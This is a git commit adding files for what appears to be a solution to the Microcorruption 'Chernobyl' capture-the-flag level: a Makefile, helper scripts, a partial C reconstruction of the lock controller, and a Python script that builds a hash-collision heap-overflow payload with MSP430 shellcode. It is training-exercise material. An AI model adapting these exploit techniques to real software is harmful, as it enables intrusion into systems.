Renumber levels to match official indices

This commit is contained in:
Val
2022-12-12 01:01:29 -06:00
parent 7925e24844
commit a9051bf671
34 changed files with 0 additions and 0 deletions

View File

@@ -0,0 +1,59 @@
# ---------- Variables listed below --------- #
# Executable
TARGET := chernobyl.out
# Paths to source, include, dependency, and object files
SPATH = src
IPATH = inc
DPATH = dep
OPATH = obj
# File type of source file
STYPE = c
VPATH = $(SPATH) $(IPATH) $(DPATH) $(OPATH)
# compiler and compiler flags
CC = g++
CFLAGS = -I$(IPATH) -std=c++11 -Os
# list of object files
SOURCES = $(wildcard $(SPATH)/*.$(STYPE))
OBJECTS = $(addprefix $(OPATH)/,$(notdir $(SOURCES:.$(STYPE)=.o)))
# ----------- Targets listed below ---------- #
# Some targets aren't real
.PHONY: all clean run dump
# Don't autodelete object files:
.PRECIOUS: $(OPATH)/%.o
all: $(DPATH) $(OPATH) $(TARGET)
dump:
@echo SOURCES: $(SOURCES)
@echo OBJECTS: $(OBJECTS)
@echo TARGET: $(TARGET)
@echo VPATH: $(VPATH)
clean:
-rm $(TARGET)
-rm -r dep obj
run:
-$(addprefix ./,$(addsuffix ;,$(TARGET)))
$(DPATH) $(OPATH):
mkdir -p $@
# Make the executable(s)
%.out: $(OBJECTS)
$(CC) $(CFLAGS) -o "$@" $^
# Make the object and dependency files
$(OPATH)/%.o: $(SPATH)/%.$(STYPE)
$(CC) $(CFLAGS) -MMD -MF "$(DPATH)/$(@F:.o=.d)" -o "$@" -c "$<"
# --------- Inclusions listed below --------- #
# use dependencies when rebuilding
-include $(wildcard $(DPATH)/*.d)

View File

@@ -0,0 +1,19 @@
#!/usr/bin/env python3
"""
caller_id: Call a function with arbitrary parameters in microcorruption
"""
import re
preamble = "reset; break main; continue; unbreak main;"
while 1:
address, *args = re.split(r"[(,) ]",input("> "))
if address == "": break
print(f"{preamble} Let pc = {address}", end=";")
reg = 15
for arg in args:
if arg:
print(f"Let r{reg} = {arg}", end=";")
reg -= 1
print("\b ")

View File

@@ -0,0 +1,53 @@
#!/usr/bin/env python3
# user info
user_struct_size = 0x12 # User is a tuple of (char[16], i16)
users_per_box = 0x5
# Stack info
ret_stack_addr = 0x3dce - 0x0004 # 3nd index of header struct
ret_addr = 0x49a2 # Address that will be returned to
stackbuffer_top = 0x3df0 - 0x0006 # top of stack buffer, PLUS "new "
target_offset = ((stackbuffer_top - ret_addr) & 0xffff) + 1
print(f"{ret_stack_addr = :x}, {ret_addr = :x}, {target_offset = :x}");
bnew = b'new '
clobber = ret_stack_addr.to_bytes(2, 'little').hex() + 'fc50' + target_offset.to_bytes(2, 'little').hex()
'''
sub.b #1, r8 5883
swpb r8 8810
mov r8, sr 0248
mov #4cfc, pc 3040 fc4c
'''
payload = "5883 8810 0248 3040fc4c"
# Hash function, which governs the boxes
def hash(byts: bytes):
ret = 0;
for c in byts:
ret += c
ret = ((ret << 5) - ret) & 0xffff
return ret
# Fix a string by adding a character that causes a hash collision
def fixhash(name:bytes, box:int, modulus:int):
error = box - (hash(name) % modulus)
if error % modulus == 0:
return name
name += (ord("@")+error+modulus).to_bytes(1, "big")
print(f"{name.hex() = }; {error = }; new box = {hash(name) % modulus}")
return name
def a2h (s: str):
return bytes(s, 'ascii').hex()
payload = f'{a2h("new ")} {fixhash(bytes.fromhex(payload), 0, 16).hex()} {a2h(" ;new 8 ;new @ ;new H ;new P ;")} {bnew.hex()} {fixhash(bytes.fromhex(clobber), 0, 16).hex()} {a2h(" ;new 1 ;new 9 ;new A ;new I ;new Q ;new")}'
print(payload)
exit(0)
while 1:
name, box = input("> ").split()
print(fixhash(bytes(name, "ascii"), int(box), 16).decode('ascii'));

View File

@@ -0,0 +1,24 @@
#!/usr/bin/env python3
# TODO: Actually break the hashes?
# TODONE in chernobreak.py
def hash(chars):
ret = 0;
for c in chars:
ret += c
ret = ((ret << 5) - ret) & 0xffff
return ret
while True:
try:
line = input("> ")
if (len(line) and line[0] == '~'):
h = hash(bytes.fromhex(line[1:]));
else:
h = hash(line.encode())
print(f"hash: {h:x}, box[3]: {h&7:x}, box[4]: {h&0xf:x}");
except EOFError:
break
print("")

View File

@@ -0,0 +1,43 @@
#ifndef CHERNOBYL_H
#define CHERNOBYL_H
#include "chernobyl_types.h"
u16 _main ();
u16 walk (u16 r15); // unused
u16 run ();
u16 *create_hash_table (u16 exponent, u16 size);
u16 add_to_table (u16 *table, char *username, u16 pin);
// Return address of a buffer from the table
// r15 = buffer address. r14
u16 get_from_table (void *r15, char *r14);
u16 hash (char *str);
u16 rehash (u16 *table, u16 r14);
// Strings, named after the position of the first character in memory
// Strings associated with <walk>
#define s_4566 "\r\r"
#define s_4569 "%x [alloc] [p %x] [n %x] [s %x]"
#define s_4588 " "
#define s_458b " {%x} [ "
#define s_4594 "%x "
#define s_4599 "%x [freed] [p %x] [n %x] [s %x]"
// Strings associated with <malloc>
#define s_465e "Heap exhausted; aborting."
// Strings associated with <run>
#define s_4a38 "Welcome to the lock controller."
#define s_4a58 "You can open the door by entering 'access [your name] [pin]'"
#define s_4a95 ""
#define s_4a96 "No such box."
#define s_4aa3 "Access granted."
#define s_4ab3 "Access granted; but account not activated."
#define s_4ade "Aceess denied" // [sic]
#define s_4aec "Can not have a pin with high bit set."
#define s_4b12 "User already has an account."
#define s_4b2f "Adding user account %s with pin %x."
#define s_4b54 "Invalid command."
#endif

View File

@@ -0,0 +1,21 @@
#ifndef CHERNOBYL_STDLIB_H
#define CHERNOBYL_STDLIB_H
#include "chernobyl_types.h"
// Standard library functions
// These use MSPGCC calling convention:
// https://www.ti.com/lit/an/slaa664/slaa664.pdf?ts=1659422621072
// ( Or see https://nhivp.github.io/msp430-gcc/2018-07-20/function-calling-convention )
void *_malloc (u16 size);
void _free (void *ptr);
u16 _putchar (char c);
i16 _getchar ();
void _puts (const char *s);
void _getsn (char *__restrict buf, u16 length);
int _strcmp (const char *s1, const char *s2);
void INT (u16 interrupt);
void swpb (u16 *word);
#endif

View File

@@ -0,0 +1,32 @@
#ifndef CHERNOBYL_TYPES_H
#define CHERNOBYL_TYPES_H
#include <stdint.h>
typedef uint16_t u16;
typedef int16_t i16;
typedef uint8_t u8;
typedef int8_t i8;
typedef struct registers {
// Registers = initial_state
u16 sp; // stack pointer
u16 sr; // status register
// General-purpose registers
// Caller-saved registers
u16 r4; // GPR 4
u16 r5; // GPR 5
u16 r6; // GPR 6
u16 r7; // GPR 7
u16 r8; // GPR 8
u16 r9; // GPR 9
u16 r10; // GPR 10
u16 r11; // GPR 11
// Callee-saved registers / function arguments / return value(s)
u16 r12; // GPR 12 ; arg 3
u16 r13; // GPR 13 ; arg 2
u16 r14; // GPR 14 ; arg 1
u16 r15; // GPR 15 ; arg 0
} re;
#endif

View File

@@ -0,0 +1,146 @@
// Just look at the function signatures in chernobyl.h and chernobyl_stdlib.h
#include "chernobyl.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "chernobyl_stdlib.h"
#include "chernobyl_types.h"
u16 to_decimal (char *buf) {
u16 num = 0; // r10
while (*buf) {
num *= 10;
num += *buf - '0';
buf++;
}
return num;
}
int main (int argc, char **argv) {
if (argc == 1) {
char buf[0x600] = {0};
while (printf (">> "), _getsn (buf, 0x5ff), !feof (stdin)) {
printf ("hash: %x, dec: %x\n", hash (buf), to_decimal (buf));
};
}
if (argc == 2) {
printf ("hash: %x\n", hash (argv[1]));
}
return 0;
}
u16 _main () {
run ();
return 0;
}
u16 walk (u16 r15) {
puts (s_4566); // "\n\n"
printf (s_4569); //%x [alloc] [p %x] [n %x] [s %x]
return 0;
}
// 0x4b66: run
u16 run () {
// move stack -0x600
char buf[0x600];
u16 *hashtable = create_hash_table (0x3, 0x5); // todo: What do these args mean?
// 4b82: Print out some shit
puts (s_4a38); // "Welcome to the lock controller."
puts (s_4a58); // "You can open the door by entering 'access [your name] [pin]'"
puts (s_4a95); // ""
while (1) {
// 4b9a: zero out the stack buffer
for (int r14 = 0; r14 < 0x5ff; r14++) {
buf[r14] = 0;
}
// 4bb0: get 0x550 characters -> stack buffer
_getsn (buf, 0x550);
// 4bba: loop over the user input:
u16 index = 0;
while (buf[index] != 0) {
// 4bbe: check for 'a'
if (buf[index] == 'a') {
index += 7;
char *name = &buf[index];
// skip spaces
while (buf[index++] != ' ') {
if (buf[index] == 0)
break;
};
} else if (buf[index] == 'n') {
index += 4;
// skip spaces
while (buf[index++] != ' ') {
if (buf[index] == 0)
break;
};
} else {
return -1;
}
}
}
// end of the function
puts (s_4b54); // "Invalid command."
return 1;
}
u16 *create_hash_table (u16 r15, u16 r14) {
// todo: RE hash table creation
u8 *buf = (u8 *) malloc (0xa);
buf[0] = 0;
return 0;
}
// Hash the string stored at addr
u16 hash (char *addr) {
u16 chr, hash = 0;
while (*addr) {
hash = *addr + hash;
hash = (hash << 5) - hash;
addr++;
}
return hash;
}
u16 add_to_table (u16 *table, char *username, u16 pin) {
// todo: add_to_table
u16 r14 = table[1]; // Box bitmask exponent? 3
u16 r12 = table[2]; // Box bitmask mantissa? 5
//! What the hell is going on here?
r12 <<= r14; // 3 <<= 5
if (r12 < 0) {
r12 = r12 + 3;
}
r12 >>= 2;
if (table[0] < r12) { // if there are more names in table than 10:
rehash (*table, r14); // Make more boxes, and shuffle them around?
}
table[0]++;
hash (r14);
r12 = 1 << table[1];
// Then do some boring stuff
return 0;
}
// get_from_table hash_table* table, string* username
u16 get_from_table (void *r15, char *r14) {
u16 h = hash (r14);
u16 num = ((u16 *) r15)[2];
u16 power_of_two = (1 << num) - 1;
power_of_two = (power_of_two & h) << 1;
num = ((u16 *) r15)[6];
return 0;
}
u16 rehash (u16 *table, u16 exponent) { // Now I see the problem
// This function makes the hash table 2^exponent units long
// and rehashes all the usernames stored in each box
return 0;
}

View File

@@ -0,0 +1,113 @@
#include "chernobyl_stdlib.h"
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "chernobyl.h"
#include "chernobyl_types.h"
#define HEAP_BASE 0x2400
void __trap_interrupt () {
// Hardware will do something here
return;
}
void set_w (u16* addr, u16 value) {
*((u16 *) &addr) = value;
}
u16 get_w (u16 *addr) {
return *((u16 *) addr);
}
void *_malloc (u16 size) {
/*
4678: 0b12 push r11
467a: c293 0424 tst.b &0x2404
467e: 0f24 jz $+0x20 <malloc+0x26>
4680: 1e42 0024 mov &0x2400, r14
4684: 8e4e 0000 mov r14, 0x0(r14)
4688: 8e4e 0200 mov r14, 0x2(r14)
468c: 1d42 0224 mov &0x2402, r13
4690: 3d50 faff add #0xfffa, r13
4694: 0d5d add r13, r13
4696: 8e4d 0400 mov r13, 0x4(r14)
469a: c243 0424 mov.b #0x0, &0x2404
; malloc+0x26:
469e: 1b42 0024 mov &0x2400, r11
46a2: 0e4b mov r11, r14
46a4: 1d4e 0400 mov 0x4(r14), r13
46a8: 1db3 bit #0x1, r13
46aa: 2820 jnz $+0x52 <46fc>
46fc: 0d4e mov r14, r13
46fe: 1e4e 0200 mov 0x2(r14), r14
4702: 0e9d cmp r13, r14
4704: 0228 jnc $+0x6 <malloc+0x92>
4706: 0e9b cmp r11, r14
4708: cd23 jnz $-0x64 <malloc+0x2c>
; puts("Heap exhausted. Aborting")
470a: 3f40 5e46 mov #0x465e, r15
470e: b012 504d call #0x4d50 <puts>
4712: 3040 3e44 br #0x443e <__stop_progExec__>
4716: 0f43 clr r15
4718: 3b41 pop r11
471a: 3041 ret
*/
// return the address of the new block
return 0;
}
void _free (void *ptr) {
return;
}
u16 _putchar (char c) {
putchar (c);
return c;
}
i16 _getchar () {
return getchar ();
}
void _puts (const char *s) {
u8 character = 0;
while (character = *(u8 *) s++) {
_putchar (character);
}
return;
}
void _getsn (char *__restrict buf, u16 length) {
fgets (buf, length, stdin);
buf[strnlen(buf, length) - 1] = '\0';
return;
}
int _strcmp (const char *s1, const char *s2) {
while (*s1 == *s2) {
if (*(++s1) == 0) {
break;
}
s2++;
}
return *s2 - *s1;
}
void INT (u16 interrupt) {
swpb (&interrupt);
interrupt |= 0x8000;
//r.sr = interrupt;
__trap_interrupt ();
return;
}
void swpb (u16 *word) {
((u8 *) word)[0] = ((u8 *) word)[0] ^ ((u8 *) word)[1];
((u8 *) word)[1] = ((u8 *) word)[1] ^ ((u8 *) word)[0];
((u8 *) word)[0] = ((u8 *) word)[0] ^ ((u8 *) word)[1];
}